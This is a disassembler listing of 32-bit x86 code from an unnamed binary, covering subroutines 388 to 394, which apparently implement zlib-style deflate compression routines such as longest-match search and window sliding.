08065da9   c1 e0 06               shl     $0x6,%eax
08065dac   09 45 e4               or      %eax,0xffffffe4(%ebp)
08065daf   8b 43 60               mov     0x60(%ebx),%eax
08065db2   85 c0                  test    %eax,%eax
08065db4   74 04                  je      08065dba <Unknown0388+0xaa>
08065db6   83 4d e4 20            orl     $0x20,0xffffffe4(%ebp)
08065dba   8b 45 e4               mov     0xffffffe4(%ebp),%eax
08065dbd   b9 1f 00 00 00         mov     $0x1f,%ecx   ;31 'x1f x0 x0 x0' ""
08065dc2   31 d2                  xor     %edx,%edx
08065dc4   f7 f1                  div     %ecx
08065dc6   8b 45 e4               mov     0xffffffe4(%ebp),%eax
08065dc9   29 d0                  sub     %edx,%eax
08065dcb   83 ec 08               sub     $0x8,%esp
08065dce   83 c0 1f               add     $0x1f,%eax
08065dd1   c7 43 04 71 00 00 00   movl    $0x71,0x4(%ebx)   ;113 'x71 x0 x0 x0' "q"
08065dd8   50                     push    %eax
08065dd9   53                     push    %ebx
08065dda   e8 ad fe ff ff         call    08065c8c <Unknown0386>
08065ddf   8b 4b 60               mov     0x60(%ebx),%ecx
08065de2   83 c4 10               add     $0x10,%esp
08065de5   85 c9                  test    %ecx,%ecx
08065de7   74 1e                  je      08065e07 <Unknown0388+0xf7>
08065de9   83 ec 08               sub     $0x8,%esp
08065dec   0f b7 46 32            movzwl  0x32(%esi),%eax
08065df0   50                     push    %eax
08065df1   53                     push    %ebx
08065df2   e8 95 fe ff ff         call    08065c8c <Unknown0386>
08065df7   58                     pop     %eax
08065df8   5a                     pop     %edx
08065df9   0f b7 46 30            movzwl  0x30(%esi),%eax
08065dfd   50                     push    %eax
08065dfe   53                     push    %ebx
08065dff   e8 88 fe ff ff         call    08065c8c <Unknown0386>
08065e04   83 c4 10               add     $0x10,%esp
08065e07   c7 46 30 01 00 00 00   movl    $0x1,0x30(%esi)   ;1 'x1 x0 x0 x0' ""
08065e0e   8b 4b 10               mov     0x10(%ebx),%ecx
08065e11   85 c9                  test    %ecx,%ecx
08065e13   74 1b                  je      08065e30 <Unknown0388+0x120>
08065e15   83 ec 0c               sub     $0xc,%esp
08065e18   56                     push    %esi
08065e19   e8 9e fe ff ff         call    08065cbc <Unknown0387>
08065e1e   8b 56 10               mov     0x10(%esi),%edx
08065e21   83 c4 10               add     $0x10,%esp
```

```
08065e24   85 d2                    test    %edx,%edx
08065e26   75 1c                    jne     08065e44 <Unknown0388+0x134>
08065e28   e9 ec 00 00 00           jmp     08065f19 <Unknown0388+0x209>   ;236 'xec x0 x0 x0' ""
08065e2d   8d 76 00                 lea     0x0(%esi),%esi
08065e30   8b 46 04                 mov     0x4(%esi),%eax
08065e33   85 c0                    test    %eax,%eax
08065e35   75 10                    jne     08065e47 <Unknown0388+0x137>
08065e37   3b 7d f0                 cmp     0xfffffff0(%ebp),%edi
08065e3a   7f 0b                    jg      08065e47 <Unknown0388+0x137>
08065e3c   83 ff 04                 cmp     $0x4,%edi
08065e3f   74 06                    je      08065e47 <Unknown0388+0x137>
08065e41   eb 13                    jmp     08065e56 <Unknown0388+0x146>
08065e43   90                       nop
08065e44   8b 46 04                 mov     0x4(%esi),%eax
08065e47   8b 53 04                 mov     0x4(%ebx),%edx
08065e4a   81 fa 9a 02 00 00        cmp     $0x29a,%edx   ;666 'x9a x2 x0 x0' ""
08065e50   75 16                    jne     08065e68 <Unknown0388+0x158>
08065e52   85 c0                    test    %eax,%eax
08065e54   74 12                    je      08065e68 <Unknown0388+0x158>
08065e56   a1 bc 95 07 08           mov     0x80795bc,%eax   ;[in .data] 134703093 'xf5 x67 x7 x8' ""
08065e5b   89 46 18                 mov     %eax,0x18(%esi)
08065e5e   b8 fb ff ff ff           mov     $0xfffffffb,%eax   ;-5 'xfb xff xff xff' ""
08065e63   e9 07 01 00 00           jmp     08065f6f <Unknown0388+0x25f>   ;263 'x7 x1 x0 x0' ""
08065e68   85 c0                    test    %eax,%eax
08065e6a   75 1b                    jne     08065e87 <Unknown0388+0x177>
08065e6c   8b 43 68                 mov     0x68(%ebx),%eax
08065e6f   85 c0                    test    %eax,%eax
08065e71   75 14                    jne     08065e87 <Unknown0388+0x177>
08065e73   85 ff                    test    %edi,%edi
08065e75   0f 84 a9 00 00 00        je      08065f24 <Unknown0388+0x214>   ;169 'xa9 x0 x0 x0' ""
08065e7b   81 fa 9a 02 00 00        cmp     $0x29a,%edx   ;666 'x9a x2 x0 x0' ""
08065e81   0f 84 9d 00 00 00        je      08065f24 <Unknown0388+0x214>   ;157 'x9d x0 x0 x0' ""
08065e87   83 ec 08                 sub     $0x8,%esp
08065e8a   8b 43 78                 mov     0x78(%ebx),%eax
08065e8d   57                       push    %edi
08065e8e   53                       push    %ebx
08065e8f   8d 04 40                 lea     (%eax,%eax,2),%eax
08065e92   ff 14 85 88 93 07 08     call    *0x8079388(,%eax,4)   ;[in .data] 134636532 'xf4 x63 x6 x8' ""
08065e99   89 c2                    mov     %eax,%edx
08065e9b   8d 42 fe                 lea     0xfffffffe(%edx),%eax
08065e9e   83 c4 10                 add     $0x10,%esp
08065ea1   83 f8 01                 cmp     $0x1,%eax
08065ea4   77 07                    ja      08065ead <Unknown0388+0x19d>
08065ea6   c7 43 04 9a 02 00 00     movl    $0x29a,0x4(%ebx)   ;666 'x9a x2 x0 x0' ""
08065ead   85 d2                    test    %edx,%edx
08065eaf   74 05                    je      08065eb6 <Unknown0388+0x1a6>
08065eb1   83 fa 02                 cmp     $0x2,%edx
08065eb4   75 0a                    jne     08065ec0 <Unknown0388+0x1b0>
08065eb6   8b 76 10                 mov     0x10(%esi),%esi
08065eb9   85 f6                    test    %esi,%esi
08065ebb   75 63                    jne     08065f20 <Unknown0388+0x210>
08065ebd   eb 5a                    jmp     08065f19 <Unknown0388+0x209>
08065ebf   90                       nop
08065ec0   4a                       dec     %edx
08065ec1   75 61                    jne     08065f24 <Unknown0388+0x214>
08065ec3   83 ff 01                 cmp     $0x1,%edi
08065ec6   75 0c                    jne     08065ed4 <Unknown0388+0x1c4>
08065ec8   83 ec 0c                 sub     $0xc,%esp
08065ecb   53                       push    %ebx
08065ecc   e8 2f 1e 00 00           call    08067d00 <Unknown0416>
08065ed1   eb 30                    jmp     08065f03 <Unknown0388+0x1f3>
08065ed3   90                       nop
08065ed4   6a 00                    push    $0x0
08065ed6   6a 00                    push    $0x0
08065ed8   6a 00                    push    $0x0
08065eda   53                       push    %ebx
08065edb   e8 64 1d 00 00           call    08067c44 <Unknown0415>
08065ee0   83 c4 10                 add     $0x10,%esp
08065ee3   83 ff 03                 cmp     $0x3,%edi
08065ee6   75 1e                    jne     08065f06 <Unknown0388+0x1f6>
08065ee8   8b 43 40                 mov     0x40(%ebx),%eax
08065eeb   8b 53 38                 mov     0x38(%ebx),%edx
08065eee   66 c7 44 42 fe 00 00     movw    $0x0,0xfffffffe(%edx,%eax,2)
08065ef5   51                       push    %ecx
08065ef6   8d 44 00 fe              lea     0xfffffffe(%eax,%eax,1),%eax
08065efa   50                       push    %eax
08065efb   6a 00                    push    $0x0
08065efd   52                       push    %edx
08065efe   e8 a9 44 fe ff           call    0804a3ac <memset>
08065f03   83 c4 10                 add     $0x10,%esp
08065f06   83 ec 0c                 sub     $0xc,%esp
08065f09   56                       push    %esi
08065f0a   e8 ad fd ff ff           call    08065cbc <Unknown0387>
08065f0f   8b 4e 10                 mov     0x10(%esi),%ecx
```

```
08065f12   83 c4 10              add     $0x10,%esp
08065f15   85 c9                 test    %ecx,%ecx
08065f17   75 0b                 jne     08065f24 <Unknown0388+0x214>
08065f19   c7 43 1c ff ff ff ff  movl    $0xffffffff,0x1c(%ebx)   ;-1 'xff xff xff xff' ""
08065f20   31 c0                 xor     %eax,%eax
08065f22   eb 4b                 jmp     08065f6f <Unknown0388+0x25f>
08065f24   83 ff 04              cmp     $0x4,%edi
08065f27   75 f7                 jne     08065f20 <Unknown0388+0x210>
08065f29   8b 53 14              mov     0x14(%ebx),%edx
08065f2c   85 d2                 test    %edx,%edx
08065f2e   74 08                 je      08065f38 <Unknown0388+0x228>
08065f30   b8 01 00 00 00        mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08065f35   eb 38                 jmp     08065f6f <Unknown0388+0x25f>
08065f37   90                    nop
08065f38   83 ec 08              sub     $0x8,%esp
08065f3b   0f b7 46 32           movzwl  0x32(%esi),%eax
08065f3f   50                    push    %eax
08065f40   53                    push    %ebx
08065f41   e8 46 fd ff ff        call    08065c8c <Unknown0386>
08065f46   5f                    pop     %edi
08065f47   58                    pop     %eax
08065f48   0f b7 46 30           movzwl  0x30(%esi),%eax
08065f4c   50                    push    %eax
08065f4d   53                    push    %ebx
08065f4e   e8 39 fd ff ff        call    08065c8c <Unknown0386>
08065f53   89 34 24              mov     %esi,(%esp,1)
08065f56   e8 61 fd ff ff        call    08065cbc <Unknown0387>
08065f5b   c7 43 14 ff ff ff ff  movl    $0xffffffff,0x14(%ebx)   ;-1 'xff xff xff xff' ""
08065f62   8b 5b 10              mov     0x10(%ebx),%ebx
08065f65   31 c0                 xor     %eax,%eax
08065f67   83 c4 10              add     $0x10,%esp
08065f6a   85 db                 test    %ebx,%ebx
08065f6c   0f 94 c0              sete    %al
08065f6f   8d 65 f4              lea     0xfffffff4(%ebp),%esp
08065f72   5b                    pop     %ebx
08065f73   5e                    pop     %esi
08065f74   5f                    pop     %edi
08065f75   5d                    pop     %ebp
08065f76   c3                    ret
08065f77   90                    nop


   ;
   ; >--------------------<  Subroutine # 389 >--------------------<
   ;
08065f78 <Unknown0389>:
08065f78   55                    push    %ebp
08065f79   89 e5                 mov     %esp,%ebp
08065f7b   56                    push    %esi
08065f7c   8b 75 08              mov     0x8(%ebp),%esi
08065f7f   85 f6                 test    %esi,%esi
08065f81   53                    push    %ebx
08065f82   74 07                 je      08065f8b <Unknown0389+0x13>
08065f84   8b 46 1c              mov     0x1c(%esi),%eax
08065f87   85 c0                 test    %eax,%eax
08065f89   75 0d                 jne     08065f98 <Unknown0389+0x20>
08065f8b   b8 fe ff ff ff        mov     $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
08065f90   e9 82 00 00 00        jmp     08066017 <Unknown0389+0x9f>   ;130 'x82 x0 x0 x0' ""
08065f95   8d 76 00              lea     0x0(%esi),%esi
08065f98   8b 50 08              mov     0x8(%eax),%edx
08065f9b   85 d2                 test    %edx,%edx
08065f9d   74 10                 je      08065faf <Unknown0389+0x37>
08065f9f   83 ec 08              sub     $0x8,%esp
08065fa2   52                    push    %edx
08065fa3   ff 76 28              pushl   0x28(%esi)
08065fa6   ff 56 24              call    *0x24(%esi)
08065fa9   83 c4 10              add     $0x10,%esp
08065fac   8b 46 1c              mov     0x1c(%esi),%eax
08065faf   8b 50 38              mov     0x38(%eax),%edx
08065fb2   85 d2                 test    %edx,%edx
08065fb4   74 10                 je      08065fc6 <Unknown0389+0x4e>
08065fb6   83 ec 08              sub     $0x8,%esp
08065fb9   52                    push    %edx
08065fba   ff 76 28              pushl   0x28(%esi)
08065fbd   ff 56 24              call    *0x24(%esi)
08065fc0   83 c4 10              add     $0x10,%esp
08065fc3   8b 46 1c              mov     0x1c(%esi),%eax
08065fc6   8b 50 34              mov     0x34(%eax),%edx
08065fc9   85 d2                 test    %edx,%edx
08065fcb   74 10                 je      08065fdd <Unknown0389+0x65>
08065fcd   83 ec 08              sub     $0x8,%esp
08065fd0   52                    push    %edx
08065fd1   ff 76 28              pushl   0x28(%esi)
08065fd4   ff 56 24              call    *0x24(%esi)
```

```
08065fd7   83 c4 10                add     $0x10,%esp
08065fda   8b 46 1c                mov     0x1c(%esi),%eax
08065fdd   8b 50 2c                mov     0x2c(%eax),%edx
08065fe0   85 d2                   test    %edx,%edx
08065fe2   74 10                   je      08065ff4 <Unknown0389+0x7c>
08065fe4   83 ec 08                sub     $0x8,%esp
08065fe7   52                      push    %edx
08065fe8   ff 76 28                pushl   0x28(%esi)
08065feb   ff 56 24                call    *0x24(%esi)
08065fee   83 c4 10                add     $0x10,%esp
08065ff1   8b 46 1c                mov     0x1c(%esi),%eax
08065ff4   83 ec 08                sub     $0x8,%esp
08065ff7   8b 58 04                mov     0x4(%eax),%ebx
08065ffa   50                      push    %eax
08065ffb   ff 76 28                pushl   0x28(%esi)
08065ffe   ff 56 24                call    *0x24(%esi)
08066001   83 c4 10                add     $0x10,%esp
08066004   31 c0                   xor     %eax,%eax
08066006   83 fb 71                cmp     $0x71,%ebx
08066009   0f 95 c0                setne   %al
0806600c   c7 46 1c 00 00 00 00    movl    $0x0,0x1c(%esi)   ;0 'x0 x0 x0 x0' ""
08066013   8d 44 40 fd             lea     0xfffffffd(%eax,%eax,2),%eax
08066017   8d 65 f8               lea     0xfffffff8(%ebp),%esp
0806601a   5b                      pop     %ebx
0806601b   5e                      pop     %esi
0806601c   5d                      pop     %ebp
0806601d   c3                      ret
0806601e   89 f6                   mov     %esi,%esi


   ;
   ; >--------------------< Subroutine # 390 >--------------------<
   ;
08066020 <Unknown0390>:
08066020   55                      push    %ebp
08066021   89 e5                   mov     %esp,%ebp
08066023   57                      push    %edi
08066024   56                      push    %esi
08066025   8b 75 0c                mov     0xc(%ebp),%esi
08066028   85 f6                   test    %esi,%esi
0806602a   74 19                   je      08066045 <Unknown0390+0x25>
0806602c   8b 7d 08                mov     0x8(%ebp),%edi
0806602f   85 ff                   test    %edi,%edi
08066031   74 12                   je      08066045 <Unknown0390+0x25>
08066033   8b 4e 1c                mov     0x1c(%esi),%ecx
08066036   85 c9                   test    %ecx,%ecx
08066038   74 0b                   je      08066045 <Unknown0390+0x25>
0806603a   fc                      cld
0806603b   b9 0e 00 00 00          mov     $0xe,%ecx   ;14 'xe x0 x0 x0' ""
08066040   8b 7d 08                mov     0x8(%ebp),%edi
08066043   f3 a5                   repz movsl %ds:(%esi),%es:(%edi)
08066045   b8 fe ff ff ff          mov     $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
0806604a   5e                      pop     %esi
0806604b   5f                      pop     %edi
0806604c   5d                      pop     %ebp
0806604d   c3                      ret
0806604e   89 f6                   mov     %esi,%esi


   ;
   ; >--------------------< Subroutine # 391 >--------------------<
   ;
08066050 <Unknown0391>:
08066050   55                      push    %ebp
08066051   89 e5                   mov     %esp,%ebp
08066053   56                      push    %esi
08066054   53                      push    %ebx
08066055   8b 75 08                mov     0x8(%ebp),%esi
08066058   8b 5e 04                mov     0x4(%esi),%ebx
0806605b   3b 5d 10                cmp     0x10(%ebp),%ebx
0806605e   89 d8                   mov     %ebx,%eax
08066060   76 03                   jbe     08066065 <Unknown0391+0x15>
08066062   8b 5d 10                mov     0x10(%ebp),%ebx
08066065   85 db                   test    %ebx,%ebx
08066067   75 07                   jne     08066070 <Unknown0391+0x20>
08066069   31 c0                   xor     %eax,%eax
0806606b   eb 37                   jmp     080660a4 <Unknown0391+0x54>
0806606d   8d 76 00                lea     0x0(%esi),%esi
08066070   29 d8                   sub     %ebx,%eax
08066072   89 46 04                mov     %eax,0x4(%esi)
08066075   8b 46 1c                mov     0x1c(%esi),%eax
08066078   8b 48 14                mov     0x14(%eax),%ecx
0806607b   85 c9                   test    %ecx,%ecx
0806607d   75 12                   jne     08066091 <Unknown0391+0x41>
```

```
0806607f   52                             push    %edx
08066080   53                             push    %ebx
08066081   ff 36                          pushl   (%esi)
08066083   ff 76 30                       pushl   0x30(%esi)
08066086   e8 b9 53 00 00                 call    0806b444 <Unknown0451>
0806608b   89 46 30                       mov     %eax,0x30(%esi)
0806608e   83 c4 10                       add     $0x10,%esp
08066091   50                             push    %eax
08066092   53                             push    %ebx
08066093   ff 36                          pushl   (%esi)
08066095   ff 75 0c                       pushl   0xc(%ebp)
08066098   e8 9f 41 fe ff                 call    0804a23c <memcpy>
0806609d   01 1e                          add     %ebx,(%esi)
0806609f   01 5e 08                       add     %ebx,0x8(%esi)
080660a2   89 d8                          mov     %ebx,%eax
080660a4   8d 65 f8                       lea     0xfffffff8(%ebp),%esp
080660a7   5b                             pop     %ebx
080660a8   5e                             pop     %esi
080660a9   5d                             pop     %ebp
080660aa   c3                             ret
080660ab   90                             nop


   ;
   ; >---------------------<  Subroutine # 392 >---------------------<
   ;
080660ac <Unknown0392>:
080660ac   55                             push    %ebp
080660ad   89 e5                          mov     %esp,%ebp
080660af   53                             push    %ebx
080660b0   83 ec 08                       sub     $0x8,%esp
080660b3   8b 5d 08                       mov     0x8(%ebp),%ebx
080660b6   8b 43 20                       mov     0x20(%ebx),%eax
080660b9   d1 e0                          shl     %eax
080660bb   8b 53 38                       mov     0x38(%ebx),%edx
080660be   89 43 30                       mov     %eax,0x30(%ebx)
080660c1   8b 43 40                       mov     0x40(%ebx),%eax
080660c4   66 c7 44 42 fe 00 00           movw    $0x0,0xfffffffe(%edx,%eax,2)
080660cb   8d 44 00 fe                    lea     0xfffffffe(%eax,%eax,1),%eax
080660cf   50                             push    %eax
080660d0   6a 00                          push    $0x0
080660d2   52                             push    %edx
080660d3   e8 d4 42 fe ff                 call    0804a3ac <memset>
080660d8   8b 43 78                       mov     0x78(%ebx),%eax
080660db   8d 04 40                       lea     (%eax,%eax,2),%eax
080660de   c1 e0 02                       shl     $0x2,%eax
080660e1   b9 80 93 07 08                 mov     $0x8079380,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
080660e6   0f b7 54 08 02                 movzwl  0x2(%eax,%ecx,1),%edx
080660eb   89 53 74                       mov     %edx,0x74(%ebx)
080660ee   0f b7 14 08                    movzwl  (%eax,%ecx,1),%edx
080660f2   89 93 80 00 00 00              mov     %edx,0x80(%ebx)   ;128 'x80 x0 x0 x0' ""
080660f8   0f b7 54 08 04                 movzwl  0x4(%eax,%ecx,1),%edx
080660fd   0f b7 44 08 06                 movzwl  0x6(%eax,%ecx,1),%eax
08066102   89 93 84 00 00 00              mov     %edx,0x84(%ebx)   ;132 'x84 x0 x0 x0' ""
08066108   89 43 70                       mov     %eax,0x70(%ebx)
0806610b   c7 43 60 00 00 00 00           movl    $0x0,0x60(%ebx)   ;0 'x0 x0 x0 x0' ""
08066112   c7 43 50 00 00 00 00           movl    $0x0,0x50(%ebx)   ;0 'x0 x0 x0 x0' ""
08066119   c7 43 68 00 00 00 00           movl    $0x0,0x68(%ebx)   ;0 'x0 x0 x0 x0' ""
08066120   c7 43 6c 02 00 00 00           movl    $0x2,0x6c(%ebx)   ;2 'x2 x0 x0 x0' ""
08066127   c7 43 54 02 00 00 00           movl    $0x2,0x54(%ebx)   ;2 'x2 x0 x0 x0' ""
0806612e   c7 43 5c 00 00 00 00           movl    $0x0,0x5c(%ebx)   ;0 'x0 x0 x0 x0' ""
08066135   c7 43 3c 00 00 00 00           movl    $0x0,0x3c(%ebx)   ;0 'x0 x0 x0 x0' ""
0806613c   83 c4 10                       add     $0x10,%esp
0806613f   8b 5d fc                       mov     0xfffffffc(%ebp),%ebx
08066142   c9                             leave
08066143   c3                             ret


   ;
   ; >---------------------<  Subroutine # 393 >---------------------<
   ;
08066144 <Unknown0393>:
08066144   55                             push    %ebp
08066145   89 e5                          mov     %esp,%ebp
08066147   57                             push    %edi
08066148   56                             push    %esi
08066149   53                             push    %ebx
0806614a   83 ec 1c                       sub     $0x1c,%esp
0806614d   8b 45 08                       mov     0x8(%ebp),%eax
08066150   8b 40 70                       mov     0x70(%eax),%eax
08066153   89 45 f0                       mov     %eax,0xfffffff0(%ebp)
08066156   8b 55 08                       mov     0x8(%ebp),%edx
08066159   8b 7a 2c                       mov     0x2c(%edx),%edi
0806615c   89 7d ec                       mov     %edi,0xffffffec(%ebp)
```

```
0806615f    8b 45 08                mov     0x8(%ebp),%eax
08066162    8b 58 6c                mov     0x6c(%eax),%ebx
08066165    8b 80 84 00 00 00       mov     0x84(%eax),%eax   ;132 'x84 x0 x0 x0' ""
0806616b    8b 52 60                mov     0x60(%edx),%edx
0806616e    89 45 e8                mov     %eax,0xffffffe8(%ebp)
08066171    8b 45 08                mov     0x8(%ebp),%eax
08066174    8b 70 20                mov     0x20(%eax),%esi
08066177    8d 86 fa fe ff ff       lea     0xfffffefa(%esi),%eax   ;-262 'xfa xfe xff xff' ""
0806617d    39 c2                   cmp     %eax,%edx
0806617f    8d 0c 3a                lea     (%edx,%edi,1),%ecx
08066182    76 10                   jbe     08066194 <Unknown0393+0x50>
08066184    89 d0                   mov     %edx,%eax
08066186    29 f0                   sub     %esi,%eax
08066188    05 06 01 00 00          add     $0x106,%eax   ;262 'x6 x1 x0 x0' ""
0806618d    89 45 e4                mov     %eax,0xffffffe4(%ebp)
08066190    eb 09                   jmp     0806619b <Unknown0393+0x57>
08066192    89 f6                   mov     %esi,%esi
08066194    c7 45 e4 00 00 00 00    movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
0806619b    8b 45 08                mov     0x8(%ebp),%eax
0806619e    8b 40 34                mov     0x34(%eax),%eax
080661a1    89 45 e0                mov     %eax,0xffffffe0(%ebp)
080661a4    8b 45 08                mov     0x8(%ebp),%eax
080661a7    8b 40 28                mov     0x28(%eax),%eax
080661aa    89 45 dc                mov     %eax,0xffffffdc(%ebp)
080661ad    8b 45 ec                mov     0xffffffec(%ebp),%eax
080661b0    8d b4 02 02 01 00 00    lea     0x102(%edx,%eax,1),%esi   ;258 'x2 x1 x0 x0' ""
080661b7    8d 04 0b                lea     (%ebx,%ecx,1),%eax
080661ba    8a 50 ff                mov     0xffffffff(%eax),%dl
080661bd    88 55 db                mov     %dl,0xffffffdb(%ebp)
080661c0    8a 00                   mov     (%eax),%al
080661c2    88 45 da                mov     %al,0xffffffda(%ebp)
080661c5    8b 45 08                mov     0x8(%ebp),%eax
080661c8    3b 98 80 00 00 00       cmp     0x80(%eax),%ebx   ;128 'x80 x0 x0 x0' ""
080661ce    72 04                   jb      080661d4 <Unknown0393+0x90>
080661d0    c1 6d f0 02             shrl    $0x2,0xfffffff0(%ebp)
080661d4    8b 55 08                mov     0x8(%ebp),%edx
080661d7    8b 42 68                mov     0x68(%edx),%eax
080661da    39 45 e8                cmp     %eax,0xffffffe8(%ebp)
080661dd    76 0d                   jbe     080661ec <Unknown0393+0xa8>
080661df    89 45 e8                mov     %eax,0xffffffe8(%ebp)
080661e2    eb 08                   jmp     080661ec <Unknown0393+0xa8>
080661e4    8b 45 08                mov     0x8(%ebp),%eax
080661e7    8b 78 2c                mov     0x2c(%eax),%edi
080661ea    89 f6                   mov     %esi,%esi
080661ec    8b 45 0c                mov     0xc(%ebp),%eax
080661ef    8d 14 38                lea     (%eax,%edi,1),%edx
080661f2    8a 45 da                mov     0xffffffda(%ebp),%al
080661f5    38 04 13                cmp     %al,(%ebx,%edx,1)
080661f8    0f 85 9d 00 00 00       jne     0806629b <Unknown0393+0x157>   ;157 'x9d x0 x0 x0' ""
080661fe    8a 45 db                mov     0xffffffdb(%ebp),%al
08066201    38 44 13 ff             cmp     %al,0xffffffff(%ebx,%edx,1)
08066205    0f 85 90 00 00 00       jne     0806629b <Unknown0393+0x157>   ;144 'x90 x0 x0 x0' ""
0806620b    8a 01                   mov     (%ecx),%al
0806620d    38 02                   cmp     %al,(%edx)
0806620f    0f 85 86 00 00 00       jne     0806629b <Unknown0393+0x157>   ;134 'x86 x0 x0 x0' ""
08066215    42                      inc     %edx
08066216    8a 41 01                mov     0x1(%ecx),%al
08066219    38 02                   cmp     %al,(%edx)
0806621b    75 7e                   jne     0806629b <Unknown0393+0x157>
0806621d    83 c1 02                add     $0x2,%ecx
08066220    42                      inc     %edx
08066221    eb 1d                   jmp     08066240 <Unknown0393+0xfc>
08066223    90                      nop
08066224    42                      inc     %edx
08066225    41                      inc     %ecx
08066226    8a 02                   mov     (%edx),%al
08066228    38 01                   cmp     %al,(%ecx)
0806622a    75 3c                   jne     08066268 <Unknown0393+0x124>
0806622c    42                      inc     %edx
0806622d    41                      inc     %ecx
0806622e    8a 02                   mov     (%edx),%al
08066230    38 01                   cmp     %al,(%ecx)
08066232    75 34                   jne     08066268 <Unknown0393+0x124>
08066234    42                      inc     %edx
08066235    41                      inc     %ecx
08066236    8a 02                   mov     (%edx),%al
08066238    38 01                   cmp     %al,(%ecx)
0806623a    75 2c                   jne     08066268 <Unknown0393+0x124>
0806623c    39 f1                   cmp     %esi,%ecx
0806623e    73 28                   jae     08066268 <Unknown0393+0x124>
08066240    42                      inc     %edx
08066241    41                      inc     %ecx
08066242    8a 02                   mov     (%edx),%al
08066244    38 01                   cmp     %al,(%ecx)
```

```
08066246  75 20              jne      08066268 <Unknown0393+0x124>
08066248  42                 inc      %edx
08066249  41                 inc      %ecx
0806624a  8a 02              mov      (%edx),%al
0806624c  38 01              cmp      %al,(%ecx)
0806624e  75 18              jne      08066268 <Unknown0393+0x124>
08066250  42                 inc      %edx
08066251  41                 inc      %ecx
08066252  8a 02              mov      (%edx),%al
08066254  38 01              cmp      %al,(%ecx)
08066256  75 10              jne      08066268 <Unknown0393+0x124>
08066258  42                 inc      %edx
08066259  41                 inc      %ecx
0806625a  8a 02              mov      (%edx),%al
0806625c  38 01              cmp      %al,(%ecx)
0806625e  75 08              jne      08066268 <Unknown0393+0x124>
08066260  42                 inc      %edx
08066261  41                 inc      %ecx
08066262  8a 02              mov      (%edx),%al
08066264  38 01              cmp      %al,(%ecx)
08066266  74 bc              je       08066224 <Unknown0393+0xe0>
08066268  89 f0              mov      %esi,%eax
0806626a  29 c8              sub      %ecx,%eax
0806626c  ba 02 01 00 00     mov      $0x102,%edx   ;258 'x2 x1 x0 x0' ""
08066271  29 c2              sub      %eax,%edx
08066273  39 da              cmp      %ebx,%edx
08066275  8d 8e fe fe ff ff  lea      0xfffffefe(%esi),%ecx   ;-258 'xfe xfe xff xff' ""
0806627b  7e 1e              jle      0806629b <Unknown0393+0x157>
0806627d  8b 5d 08           mov      0x8(%ebp),%ebx
08066280  8b 45 0c           mov      0xc(%ebp),%eax
08066283  89 43 64           mov      %eax,0x64(%ebx)
08066286  89 d3              mov      %edx,%ebx
08066288  3b 5d e8           cmp      0xffffffe8(%ebp),%ebx
0806628b  7d 2e              jge      080662bb <Unknown0393+0x177>
0806628d  8d 04 0b           lea      (%ebx,%ecx,1),%eax
08066290  8a 50 ff           mov      0xffffffff(%eax),%dl
08066293  88 55 db           mov      %dl,0xffffffdb(%ebp)
08066296  8a 00              mov      (%eax),%al
08066298  88 45 da           mov      %al,0xffffffda(%ebp)
0806629b  8b 45 dc           mov      0xffffffdc(%ebp),%eax
0806629e  23 45 0c           and      0xc(%ebp),%eax
080662a1  8b 55 e0           mov      0xffffffe0(%ebp),%edx
080662a4  0f b7 04 42        movzwl   (%edx,%eax,2),%eax
080662a8  8b 55 e4           mov      0xffffffe4(%ebp),%edx
080662ab  39 d0              cmp      %edx,%eax
080662ad  89 45 0c           mov      %eax,0xc(%ebp)
080662b0  76 09              jbe      080662bb <Unknown0393+0x177>
080662b2  ff 4d f0           decl     0xfffffff0(%ebp)
080662b5  0f 85 29 ff ff ff  jne      080661e4 <Unknown0393+0xa0>   ;-215 'x29 xff xff xff' ")"
080662bb  8b 55 08           mov      0x8(%ebp),%edx
080662be  8b 42 68           mov      0x68(%edx),%eax
080662c1  39 c3              cmp      %eax,%ebx
080662c3  77 02              ja       080662c7 <Unknown0393+0x183>
080662c5  89 d8              mov      %ebx,%eax
080662c7  83 c4 1c           add      $0x1c,%esp
080662ca  5b                 pop      %ebx
080662cb  5e                 pop      %esi
080662cc  5f                 pop      %edi
080662cd  5d                 pop      %ebp
080662ce  c3                 ret
080662cf  90                 nop


   ;
   ; >---------------------<  Subroutine # 394 >---------------------<
   ;
080662d0 <Unknown0394>:
080662d0  55                 push     %ebp
080662d1  89 e5              mov      %esp,%ebp
080662d3  57                 push     %edi
080662d4  56                 push     %esi
080662d5  53                 push     %ebx
080662d6  83 ec 0c           sub      $0xc,%esp
080662d9  8b 75 08           mov      0x8(%ebp),%esi
080662dc  8b 7e 20           mov      0x20(%esi),%edi
080662df  8b 4e 68           mov      0x68(%esi),%ecx
080662e2  89 f6              mov      %esi,%esi
080662e4  8b 46 30           mov      0x30(%esi),%eax
080662e7  29 c8              sub      %ecx,%eax
080662e9  8b 56 60           mov      0x60(%esi),%edx
080662ec  89 c3              mov      %eax,%ebx
080662ee  29 d3              sub      %edx,%ebx
080662f0  75 12              jne      08066304 <Unknown0394+0x34>
080662f2  85 d2              test     %edx,%edx
```

```
080662f4  75 0e              jne     08066304 <Unknown0394+0x34>
080662f6  85 c9              test    %ecx,%ecx
080662f8  75 0a              jne     08066304 <Unknown0394+0x34>
080662fa  89 fb              mov     %edi,%ebx
080662fc  e9 85 00 00 00     jmp     08066386 <Unknown0394+0xb6>   ;133 'x85 x0 x0 x0' ""
08066301  8d 76 00           lea     0x0(%esi),%esi
08066304  83 fb ff           cmp     $0xffffffff,%ebx
08066307  75 07              jne     08066310 <Unknown0394+0x40>
08066309  bb fe ff ff ff     mov     $0xfffffffe,%ebx   ;-2 'xfe xff xff xff' ""
0806630e  eb 76              jmp     08066386 <Unknown0394+0xb6>
08066310  89 f8              mov     %edi,%eax
08066312  03 46 20           add     0x20(%esi),%eax
08066315  2d 06 01 00 00     sub     $0x106,%eax   ;262 'x6 x1 x0 x0' ""
0806631a  39 c2              cmp     %eax,%edx
0806631c  72 68              jb      08066386 <Unknown0394+0xb6>
0806631e  8b 56 2c           mov     0x2c(%esi),%edx
08066321  51                 push    %ecx
08066322  57                 push    %edi
08066323  8d 04 17           lea     (%edi,%edx,1),%eax
08066326  50                 push    %eax
08066327  52                 push    %edx
08066328  e8 0f 3f fe ff     call    0804a23c <memcpy>
0806632d  8b 4e 40           mov     0x40(%esi),%ecx
08066330  8b 46 38           mov     0x38(%esi),%eax
08066333  29 7e 64           sub     %edi,0x64(%esi)
